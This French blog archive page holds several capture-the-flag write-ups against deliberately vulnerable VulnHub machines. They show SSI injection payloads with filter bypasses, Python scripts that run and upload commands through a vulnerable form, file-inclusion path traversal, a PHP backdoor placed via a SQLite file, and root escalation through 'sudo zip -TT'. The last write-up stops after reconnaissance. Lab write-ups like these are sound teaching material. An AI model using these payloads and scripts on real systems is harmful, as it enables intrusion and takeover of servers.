Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives octobre 2017

Solution du CTF H.A.S.T.E: 1 de VulnHub

Rédigé par devloop - -

A short time ago...

Après le précédent CTF qui m'avait laissé sur ma fin, j'en ai cherché un qui serait plus consistent et je me suis tourné vers le HASTE dont la difficulté était notée moyenne.
H.A.S.T.E: 1 est une VM créée par f1re_w1re.
L'image est au format VMWare, je suis passé par VBoxManage pour la convertir au format VirtualBox.

Le synopsis est le suivant :
This vulnerable-by-design box depicts a hacking company known as H.A.S.T.E, or Hackers Attack Specific Targets Expeditiously, capable of bringing down any domains on their hit list.

I would like to classify this challenge with medium difficulty, requiring some trial and error before a successful takeover can be attained.

... in a VM from VulnHub

Nmap scan report for 192.168.1.36
Host is up (0.00092s latency).
Not shown: 65501 closed ports, 33 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/spukcab
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: H.A.S.T.E
MAC Address: 08:00:27:8A:F0:6C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Arrivé sur le site web on a le texte suivant suivi d'un formulaire de contact :
Welcome, adventurer,

To our top secret website in the dark web. If you are reading this is because someone has recommended our services to you. We are known as H.A.S.T.E, or Hackers Attack Specific Targets Expiditiously, we specialize in taking down any site at for 2.37 BTC. We are on a mission to rid the electronic world from corporate sites that are instated to take advantage of those who do not have a voice. We do not ask any questions when payment is made.

If you are affiliated with law enforcement, please don't waste your time. You will not stop us in letting our clients take their vengeance against entities that have oppressed them. We will purge and mercilessly rampage through any sites on our list.

Please fill out the form below to place this website in our hit list.

         <form method="post" action="receipt.php">
          <fieldset>
            <legend>Attack Form:</legend>
            <input class="btmspace-15" type="text" value="" placeholder="Target" name="xxx">
            <input class="btmspace-15" type="text" value="" placeholder="Feedback" name="feedback">
            <button type="submit" value="submit">Submit</button>
          </fieldset>
        </form>
Dans le dossier spukcab indiqué dans le robots.txt on trouve deux fichiers : index.bak et oldconfig.bak. Le dernier contient une configuration Apache qui pourrait nous être utile :
<VirtualHost *:80>
ServerAdmin webmaster@convert.me
ServerName convert.me
ServerAlias www.convert.me

DirectoryIndex index.php
DocumentRoot /var/www/html/convert.me/public_html
LogLevel warn
ErrorLog /var/www/html/convert.me/log/error.log
CustomLog /var/www/html/convert.me/log/access.log combined

<Directory /var/www/html/convert.me/public_html>
Options Indexes FollowSymlinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>

</VirtualHost>
Après avoir lancé une première fois Wapiti sans résultats et testé quelques injections de commande et SQLi sur le formulaire, je lance un buster afin de trouver d'autres dossiers intéressants.
  `==\. dvbuster v1.0 ./=='
      ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
20469 lines to process.
as many requests to send.
Using 4 processes...
Server banner: Apache/2.4.18 (Ubuntu)

Starting buster processes...
http://192.168.1.36/.htpasswd/ - HTTP 403 (297 bytes, plain)
http://192.168.1.36/.htaccess/ - HTTP 403 (297 bytes, plain)
http://192.168.1.36/cgi-bin/ - HTTP 403 (295 bytes, plain)
http://192.168.1.36/icons/ - HTTP 403 (293 bytes, plain)
http://192.168.1.36/images/ - HTTP 200 (486 bytes, gzip) - Directory listing found
http://192.168.1.36/layout/ - HTTP 200 (506 bytes, gzip) - Directory listing found
http://192.168.1.36/pages/ - HTTP 200 (554 bytes, gzip) - Directory listing found
http://192.168.1.36/server-status/ - HTTP 403 (301 bytes, plain)
100% - DONE
Duration: 0:00:12.231941
Le listing de la plupart des dossiers est rendu possible par le fait que l'admin avait placé des index.html mais que le DirectoryIndex utilise index.php (voir fichier de config plus haut).
Mais ces nouveaux dossiers ne nous apportent rien de plus :(
Est-ce que l'ancien site tourne toujours ? Pour le savoir il nous suffit de forger l'entête Host (ou ajouter une entrée dans son /etc/hosts)
curl -H "Host: convert.me" http://192.168.1.36/
La commande nous retourne le même site, la piste n'est pas bonne.
Le formulaire receipt.php nous redirige après la soumission des données vers receipt.shtml. On va fouiller de ce côté :
http://192.168.1.36/index.shtml - HTTP 200 (35 bytes, plain)
http://192.168.1.36/receipt.shtml - HTTP 200 (761 bytes, gzip)
http://192.168.1.36/ssi.shtml - HTTP 200 (296 bytes, gzip)
Voilà qui est plus intéressant ! Le fichier index.shtml comporte du SSI (Server Side Includes) malformé, un indice important qui nous indique de tester de l'injection de SSI :
<--#exec cmd="cat /etc/passwd" -->
Ici il manque un point d'exclamation pour que le SSI puisse fonctionner. Le fichier ssi.shtml semble quand à lui fonctionner. Un message d'erreur donne le même indice sur les SSI :
Hello total 16
-rw------- 1 root root    0 Oct 28 09:04 002f859fefa6d
drwxrwxrwt 2 root root 4096 Oct 28 08:58 VMwareDnD
drwx------ 3 root root 4096 Oct 28 08:59 systemd-private-cd3beb192ebf435d8efd903c82f6d0cc-colord.service-QvCs79
drwx------ 3 root root 4096 Oct 28 08:59 systemd-private-cd3beb192ebf435d8efd903c82f6d0cc-rtkit-daemon.service-gUdddV
drwx------ 3 root root 4096 Oct 28 08:58 systemd-private-cd3beb192ebf435d8efd903c82f6d0cc-systemd-timesyncd.service-7j1dQm
 [an error occurred while processing this directive],
Your IP address is: 192.168.1.6
On peut trouver des informations sur les SSI ici et avoir des noms de variables Apache utiles ici.
On voit que le champ target du formulaire est vulnérable, notamment avec les exemples suivants :
<!--#flastmod file="ssi.shtml" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="SCRIPT_FILENAME" -->
La dernière ligne nous retourne le path /var/www/html/convert.me/public_html/receipt.shtml
En revanche les directives qui nous intéressent vraiment ne marchent pas :
<!--#include virtual="ssi.shtml"-->
mais après un peu d'acharnement on découvre que la suivante fonctionne :
<!--#Include virtual="ssi.shtml"-->
De même exec en minuscule échoue :
<!--#exec cmd="ls" -->
mais tout en majuscules cela fonctionne :
<!--#EXEC cmd="ls" --> 
SSI injenction result

A Python was good

On a donc de l'exécution de commande mais pas très sexy. L'étape suivante est d'uploader une backdoor digne de ce nom sur le serveur, malheureusement curl n'est pas présent et wget ne semblait pas aboutir (peut être liée à ma configuration cependant...)

Pour m'aider j'ai écrit un pseudo-shell qui communique avec le formulaire :
import requests
from bs4 import BeautifulSoup
from base64 import b64decode

sess = requests.session()

while True:
    cmd = input("$ ").strip()
    if cmd.lower() == "exit":
        break
    params = {"xxx": "", "feedback": '<pre><!--#EXEC cmd="{}|base64" --></pre>'.format(cmd)}
    response = requests.post("http://192.168.1.36/receipt.php", data=params)
    soup = BeautifulSoup(response.text, "lxml")
    encoded = soup.find("pre").get_text(strip=True, separator='')
    print(b64decode(encoded).decode())
    print('')
La récupération de certaines données ne semblait pas fonctionner, c'est pour cela que je passe par une étape d'encodage puis décodage base64.
Dans le fichier /etc/passwd on remarque un utilisateur starfire.
starfire:x:1000:1000:admin,,,:/home/starfire:/bin/bash
Le kernel ne semble pas vulnérable à DirtyC0w :'(
Linux ConverterPlus 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:13 UTC 2017 i686 i686 i686 GNU/Linux
Pour les problèmes d'upload j'ai créé un script qui converti un fichier local en base64 et écrit sur le serveur ligne par ligne par echo. Il suffit après d'utiliser base64 -d pour récupérer le fichier uploadé.
import requests
import os
import sys

try:
    os.unlink("/tmp/temp64.txt")
except FileNotFoundError:
    pass

os.system("base64 '{}' > /tmp/temp64.txt".format(sys.argv[1]))

params = {"xxx": "", "feedback": '<pre><!--#EXEC cmd="rm out" --></pre>'}
response = requests.post("http://192.168.1.36/receipt.php", data=params)

with open("/tmp/temp64.txt") as fd:
    for line in fd:
        line = line.strip()
        if not line:
            break
        params = {"xxx": "", "feedback": '<pre><!--#EXEC cmd="echo {} >> out" --></pre>'.format(line)}
        response = requests.post("http://192.168.1.36/receipt.php", data=params)
Avec ça j'ai pu placer et exécuter une backdoor MSF (x86 reverse shell)
Pour les curieux voici le fonctionnement de receipt.php :
<?php
$target = $_POST["xxx"];
$feedback = $_POST["feedback"];
$target = str_replace("<", "", $target);
$target = str_replace(">", "", $target);
$feedback = str_replace("exec", "", $feedback);
$feedback = str_replace("Exec", "", $feedback);
$feedback = str_replace("include", "", $feedback);
$feedback = str_replace("InClUdE", "", $feedback);
$fileopen = fopen("receipt.shtml", "w");
// --- snip ---
fwrite($fileopen, $content);
fclose($fileopen);
header("Location:receipt.shtml");

// Thank you, your feedback is very important to us.
?>

That's all folks

Le challenge laissait supposer que l'on avait affaire à un boot-2-root.
Mais j'ai fouillé en long, en large, en travers sans aucun résultat. Épluché les entrées cron, cherché des binaires setuid, des fichiers word-writable pour root et starfire, cherché un mot de passe quelconque sur le système... sans succès.
Dans les commentaires liés à l'annonce de la VM l'auteur laisse entendre sur son blog que l'on peut avoir les privilèges root mais plus tard il indique que ça ne fait pas partie du challenge... Plus de clarifications sur le sujet aurait été bénéfiques :(

Classé dans : Non classé - Mots clés : aucun

Solution du CTF LazySysAdmin: 1 de VulnHub

Rédigé par devloop - -

Intro

Yet another challenge from VulnHub.
Pour l'utiliser dans VirtualBox j'ai du convertir l'image disque VMDK vers le format VDI :
VBoxManage clonehd --format VDI Lazysysadmin-disk1.vmdk  Lazysysadmin.vdi

One for Nmap

Nmap scan report for 192.168.1.49
Host is up (0.0020s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey:
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|_  256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
80/tcp   open  http
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-title: Backnode
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
| irc-info:
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.1.47
|_  error: Closing link: (nmap@192.168.1.47) [Client exited]
MAC Address: 08:00:27:8C:2F:EA (Oracle VirtualBox virtual NIC)

Host script results:
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN
|   Domain name:
|   FQDN: lazysysadmin
|_  System time: 2017-10-21T01:34:14+10:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

Nmap done: 1 IP address (1 host up) scanned in 202.15 seconds
On a ici un SMB, un SSh, un MySQL, un IRC ainsi qu'un serveur Apache exposés. Plusieurs entrées dans le robots.txt mais aucune ne sévère intéressante.

Two for web-buster

Starting buster processes...
http://192.168.1.49/.htpasswd/ - HTTP 403 (289 bytes, plain)
http://192.168.1.49/.htaccess/ - HTTP 403 (289 bytes, plain)
http://192.168.1.49/apache/ - HTTP 200 (399 bytes, gzip) - Directory listing found
http://192.168.1.49/icons/ - HTTP 403 (285 bytes, plain)
http://192.168.1.49/javascript/ - HTTP 403 (290 bytes, plain)
http://192.168.1.49/old/ - HTTP 200 (399 bytes, gzip) - Directory listing found
http://192.168.1.49/phpmyadmin/ - HTTP 200 (2699 bytes, gzip)
http://192.168.1.49/server-status/ - HTTP 403 (293 bytes, plain)
http://192.168.1.49/test/ - HTTP 200 (403 bytes, gzip) - Directory listing found
http://192.168.1.49/wp/ - HTTP 200 (399 bytes, gzip) - Directory listing found
100% - DONE
Duration: 0:00:11.177010
A posteriori le buster aurait du trouver un dossier /wordpress/ mais ce n'est pas bien grave comme le montre...

Three for anonymous SMB

On utilise l'option -L de smbclient pour lister les partages SMB.
$ smbclient -L LAZYSYSADMIN -I 192.168.1.49 -U "" -N
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        share$          Disk      Sumshare
        IPC$            IPC       IPC Service (Web server)
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]

        Server               Comment
        ---------            -------
        LAZYSYSADMIN         Web server
Puis on tente une connexion au partage share$ en connexion anonyme :
$ smbclient -I 192.168.1.49 -U "" -N '//LAZYSYSADMIN/share$'                
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
smb: \> ls
  .                                   D        0  Tue Aug 15 13:05:52 2017
  ..                                  D        0  Mon Aug 14 14:34:47 2017
  wordpress                           D        0  Wed Oct 25 17:53:49 2017
  Backnode_files                      D        0  Mon Aug 14 14:08:26 2017
  wp                                  D        0  Tue Aug 15 12:51:23 2017
  deets.txt                           N      139  Mon Aug 14 14:20:05 2017
  robots.txt                          N       92  Mon Aug 14 14:36:14 2017
  todolist.txt                        N       79  Mon Aug 14 14:39:56 2017
  apache                              D        0  Mon Aug 14 14:35:19 2017
  index.html                          N    36072  Sun Aug  6 07:02:15 2017
  info.php                            N       20  Tue Aug 15 12:55:19 2017
  test                                D        0  Mon Aug 14 14:35:10 2017
  old                                 D        0  Mon Aug 14 14:35:13 2017

                3029776 blocks of size 1024. 1457228 blocks available
On peut aussi juste ouvrir un Nautilus (ou n'importe quel autre explorateur de fichier gérant SMB) et lui passer l'adresse smb://lazysysadmin puis choisir la connexion anonyme.

On trouve plusieurs fichiers comme todolist.txt qui a le contenu suivant :
Prevent users from being able to view to web root using the local file browser

Ou encore deets.txt avec le contenu :
CBF Remembering all these passwords. Remember to remove this file and update your password after we push out the server. Password 12345
On trouve aussi un dossier wordpress avec son wp-config.php :
wordpress/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'Admin');

/** MySQL database password */
define('DB_PASSWORD', 'TogieMYSQL12345^^');

/** MySQL hostname */
define('DB_HOST', 'localhost');

Lazyadmin is Lazy

Quand on se rend sur le wordpress on note quelques éléments :
  • Le nom du blog est Web_TR2
  • Un post indique My name is togie
  • Il y a une adresse qui est Straya
Et si on testait le password 12345 vu dans le fichier texte ?
$ ssh togie@192.168.1.49
The authenticity of host '192.168.1.49 (192.168.1.49)' can't be established.
ECDSA key fingerprint is SHA256:pHi3EZCmITZrakf7q4RvD2wzkKqmJF0F/SIhYcFzkOI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.49' (ECDSA) to the list of known hosts.
##################################################################################################
#                                          Welcome to Web_TR1                                    #
#                             All connections are monitored and recorded                         #
#                    Disconnect IMMEDIATELY if you are not an authorized user!                   #
##################################################################################################

togie@192.168.1.49's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Oct 21 01:29:31 AEST 2017

  System load: 0.0               Memory usage: 1%   Processes:       103
  Usage of /:  46.2% of 2.89GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

133 packages can be updated.
0 updates are security updates.

togie@LazySysAdmin:~$ ls .b-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a2': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier
On a donc un shell avec le mot de passe 12345. L'utilisateur est dans un rbash qui est apparu quand on a voulu utiliser la complétion. Cette info se confirme par cette entrée du fichier passwd :
togie:x:1000:1000:togie,,,:/home/togie:/bin/rbash
Mais pour le moment il ne nous dérange pas plus que ça...

Il y a un utilisateur irc qui fait tourner un démon InspIRCd :
irc       1001  0.0  0.2   6652  5424 ?        Ss   01:29   0:00 /usr/sbin/inspircd --logfile /var/log/inspircd.log --config /etc/inspircd/inspircd.conf start
Le répertoire correspondant au démon dans /etc n'est pas accessible :
drwxrwx--- 2 irc  irc     4096 Aug 14 20:40 inspircd
Par contre le fichier de log est accessible aux membres du groupe adm :
togie@LazySysAdmin:~$ ls -l /var/log/inspircd.log
-rw-r----- 1 irc adm 54782 Oct 21 01:34 /var/log/inspircd.log
D'ailleurs de quels groupes faisons nous partie ?
togie@LazySysAdmin:~$ grep togie /etc/group
adm:x:4:syslog,togie
cdrom:x:24:togie
sudo:x:27:togie
dip:x:30:togie
plugdev:x:46:togie
togie:x:1000:
lpadmin:x:110:togie
sambashare:x:111:togie
On fait partie du groupe sudo... Intéressant.

Five for the root

togie@LazySysAdmin:~$ sudo -l
[sudo] password for togie:
Matching Defaults entries for togie on LazySysAdmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User togie may run the following commands on LazySysAdmin:
    (ALL : ALL) ALL
Ce fut rapide !
togie@LazySysAdmin:~$ sudo /bin/bash
root@LazySysAdmin:~# cd /root
root@LazySysAdmin:/root# ls
proof.txt
root@LazySysAdmin:/root# cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie


Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu
Au passage dans le fichier de log d'InspIRCd on trouve cela :
<oper name="root"
      password="12345"
      host="*@localhost"
      type="NetAdmin">
Une autre solution aurait été à priori de bruteforcer les acocunts IRC.
C'était vraiment facile et du coup je m'interroge sur l'utilité du restricted bash ^_^

Classé dans : Non classé - Mots clés : aucun

Solution du CTF zico2: 1 de VulnHub

Rédigé par devloop - -

Nitro

zico2 est un CTF boot-2-root créé par Rafael Santos et disponible sur VulnHub.
Le synopsis est le suivant :
Zico is trying to build his website but is having some trouble in choosing what CMS to use. After some tries on a few popular ones, he decided to build his own. Was that a good idea?

Toc toc

Nmap trouve les ports suivants sur la VM :
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Zico's Shop
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          49368/tcp  status
|_  100024  1          50813/udp  status
49368/tcp open  status  1 (RPC #100024)
Sur le port 80 se trouve un site quasi vide mais qui présente bien (bootstrap, jquery, fontawesome, ...)
On note toutefois une URL http://192.168.1.47/view.php?page=tools.html qui laisse présager une faille d'inclusion ou juste un directory traversal.

Monkey see

Après avoir joué un peu avec cette URL on voit que les inclusions distantes et les chemins absolus ne fonctionnent pas mais les chemins relatifs fonctionnent.
Ainsi l'URL http://192.168.1.47/view.php?page=../../../../../../../../../../../../../etc/passwd nous retourne le contenu suivant :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
ntp:x:103:108::/home/ntp:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
statd:x:105:65534::/var/lib/nfs:/bin/false
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
zico:x:1000:1000:,,,:/home/zico:/bin/bash
Face à une telle vulnérabilité l'objectif est d'abord de déterminer où l'on se trouve sur le système (quel est le working directory du script) et d'obtenir des informations sur la configuration du serveur (config Apache et PHP).
En l’occurrence si on passe juste ../../etc/passwd on obtient toujours le contenu attendu, ce qui montre que seuls deux dossiers nous séparent de la racine. On peut être dans un /var/www ou /srv/htdocs.
L'entrée du fichier passwd pour l'utilisateur www-data permet de confirmer que l'on est dans /var/www.

Maintenant que l'on sait où l'on est, il faut trouver une fonctionnalité permettant de placer du contenu sur le disque du serveur afin de provoquer son inclusion.
Je lance un scan de dossiers sur le serveur web et quelques entrées apparaissent :
  `==\. dvbuster v1.0 ./=='
      ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
20468 lines to process.
as many requests to send.
Using 4 processes...
Server banner: Apache/2.2.22 (Ubuntu)

Starting buster processes...
http://192.168.1.47/.htaccess/ - HTTP 403 (238 bytes, gzip)
http://192.168.1.47/.htpasswd/ - HTTP 403 (241 bytes, gzip)
http://192.168.1.47/cgi-bin/ - HTTP 403 (240 bytes, gzip)
http://192.168.1.47/css/ - HTTP 200 (468 bytes, gzip) - Directory listing found
http://192.168.1.47/dbadmin/ - HTTP 200 (455 bytes, gzip) - Directory listing found
http://192.168.1.47/doc/ - HTTP 403 (237 bytes, gzip)
http://192.168.1.47/icons/ - HTTP 403 (238 bytes, gzip)
http://192.168.1.47/img/ - HTTP 200 (474 bytes, gzip) - Directory listing found
http://192.168.1.47/js/ - HTTP 200 (467 bytes, gzip) - Directory listing found
http://192.168.1.47/server-status/ - HTTP 403 (240 bytes, gzip)
http://192.168.1.47/vendor/ - HTTP 200 (506 bytes, gzip) - Directory listing found
http://192.168.1.47/view/ - HTTP 200 (20 bytes, gzip)
100% - DONE
100% ~user/                        Duration: 0:00:22.138620
Le dossier dbadmin est intéressant : il renferme un script test_db.php qui est une mire de login pour phpLiteAdmin v1.9.3.
Ces webapps ont parfois des mots de passe par défaut donc je tente rapidement le mot de passe admin et hop! connecté :)

Au passage l'inclusion de dbadmin/test_db.php retourne la mire de connexion telle qu'elle est si on y accède directement et pas du code PHP, preuve que l'on est en face d'une faille d'inclusion et non un simple directory traversal.

Dans l'interface de phpLiteAdmin est listée une base de donnée à l'emplacement /usr/databases/test_users. Il s'agit d'une base sqlite.
Une table info est présente avec trois colonnes : id, name, et pass. On trouve deux enregistrements :
root	653F4B285089453FE00E2AAFAC573414
zico	96781A607F4E9F5F423AC01F0DAB0EBD

Google permet de retrouver facilement le password correspondant au premier hash (34kroot34). Malheureusement il ne permet ni d'accéder au compte zico ni à root :(

Monkey write

Mais on a au moins la possibilité d'écrire dans la base de données sqlite et donc sur le disque du serveur. Je créé donc une table avec seulement un champ TEXT et une entrée <?php phpinfo(); ?>
L'accès à l'URL http://192.168.1.47/view.php?page=../../usr/databases/test_users nous retourne bien le phpinfo()

On efface la nouvelle table et on en recrée une qui fait une backdoor system().

php backdoor via sqlite DB file

Via cet accès on découvre que le dossier /var/www est accessible par root uniquement donc on ne peut pas créer de fichier .ssh/authorized_keys.
Toutefois les sous-dossiers sont eux accessibles et peuvent nous servir pour déposer ou récupérer des fichiers facilement.

Le dossier de l'utilisateur zico est lisible et bourré de sources de webapps. Je recherche dans le listing les fichiers avec config dans le nom. Assez rapidement je me tourne vers le wp-config (fichier de configuration de Wordpress)

Monkey get a shell

On trouve un mot de passe dans le fichier de configuration qui est réutilisé pour le compte SSH :
/** MySQL database username */
define('DB_USER', 'zico');

/** MySQL database password */
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');
zico@zico:~$ id
uid=1000(zico) gid=1000(zico) groups=1000(zico)
Malheureusement le mot de passe cassé plus tôt (34kroot34) n'est pas réutilisé pour le compte root.

Monkey g0t root

L'utilisateur zico a l'autorisation de lancer deux programmes d'archivage avec les droits root :
zico@zico:~$ sudo -l
Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip
Il y a t-il un moyen de faire exécuter des commandes à l'un de ces deux programmes ? La page de manuel de zip nous donne une solution :
-TT cmd
--unzip-command cmd
        Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.  On Unix, to use a copy of unzip in the current directory instead  of  the  standard system unzip, could use:

        zip archive file1 file2 -T -TT "./unzip -tqq"

        In  cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command.  The return code is checked for success (0 on Unix).
Plus qu'à récupérer le flag :
zico@zico:~$ sudo zip archive /etc/issue -T -TT "ls /root -al"
  adding: etc/issue (stored 0%)
-rw------- 1 root root  169 Oct 20 16:44 zifzgKZx

/root:
total 44
drwx------  4 root root 4096 Jun 19 11:59 .
drwxr-xr-x 24 root root 4096 Jun  1 18:54 ..
-rw-------  1 root root 5723 Jun 19 12:09 .bash_history
-rw-r--r--  1 root root 3106 Apr 19  2012 .bashrc
drwx------  2 root root 4096 Jun  1 20:15 .cache
-rw-r--r--  1 root root   75 Jun 19 11:55 flag.txt
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
drwxr-xr-x  2 root root 4096 Jun  8 14:02 .vim
-rw-------  1 root root 5963 Jun 19 11:59 .viminfo
test of archive.zip OK

zico@zico:~$ sudo zip archive /etc/issue -T -TT "cat /root/flag.txt"
  adding: etc/issue (stored 0%)
#
#
#
# ROOOOT!
# You did it! Congratz!
#
# Hope you enjoyed!
#
#
#
#
Cette solution est sans doute un peu maladroite dans le sens où il suffit de zipper le dossier /root puis le dézipper pour récupérer le flag. Mais c'était plus marrant de cette manière :)

Classé dans : Non classé - Mots clés : aucun

Solution du CTF Bulldog: 1 de VulnHub

Rédigé par devloop - -

Présentation

Bulldog: 1 est une VM disponible sur VulnHub est créée par Nick Frichette (frichetten.com).

Le scénario est le suivant : l'entreprise Bulldog Industries spécialisée dans la production de photos de bulldogs en haute qualité a été la victime d'une attaque sous-disant APT (qui ne serait en fait que l'exploitation d'un CMS suivi d'une escalade de privilèges via un exploit Dirty COW.

L'objectif de ce CTF qui est un boot-2-root est (en dehors d'obtenir un accès root) de vérifier si les employés de Bulldog ont fait leur travail de récupération et de sécurisation du serveur. Toutefois il ne s'agit pas d'un challenge d'inforensique, mais plus d'un pentest.

Reconnaissance et énumération

On lance un scan rapide du serveur qui nous indique la présence d'un serveur web ainsi qu'un serveur SSH (mais écoutant sur le port 23).
$ sudo nmap -T5 --open 192.168.3.190

Starting Nmap 7.01 ( https://nmap.org ) at 2017-10-14 14:23 CEST
Nmap scan report for 192.168.3.190
Host is up (0.0011s latency).
Not shown: 997 closed ports, 1 filtered port
PORT   STATE SERVICE
23/tcp open  telnet
80/tcp open  http
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.87 seconds
La page d'index est une notice d'information informant du hack récent. La note est signée Wiston Churchy qui est le CEO de Bulldog.

Afin de trouver d'autres URLs je lance mon script maison brute_web (qu'il faut que je mette au propre et que je release) afin de découvrir la présence d'autres dossiers sur le serveur :
$ python2 brute_web.py -u http://192.168.3.190/ -w /opt/dirb222/wordlists/big.txt
  `==\. dvbuster v1.0 ./=='
        ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
20468 lines to process.
as many requests to send.
Using 4 processes...
Server banner: WSGIServer/0.1 Python/2.7.12

Starting buster processes...
http://192.168.3.190/admin/ - HTTP 302 (0 bytes, plain) redirects to http://192.168.3.190/admin/login/?next=/admin/
http://192.168.3.190/dev/ - HTTP 200 (3540 bytes, plain)
http://192.168.3.190/notice/ - HTTP 200 (1622 bytes, plain)
100% - DONE
Duration: 0:00:46.388938
Sur /dev/ on trouve un message intéressant de la part d'un certain Alan Brooke, nouveau chef des développeurs, qui informe sa nouvelle team sur les changements demandés par le CEO : fini les CMS et PHP, place à du Django maison, du MongoDB à venir et un soit disant antivirus commandé qui tournerait toutes les minutes (ça sent la tache CRON...)

Dans cette page on trouve aussi différents noms de contacts de la team dev que l'on garde de côté pour en faire une wordlist.

List of contacts from Bulldog Industries website

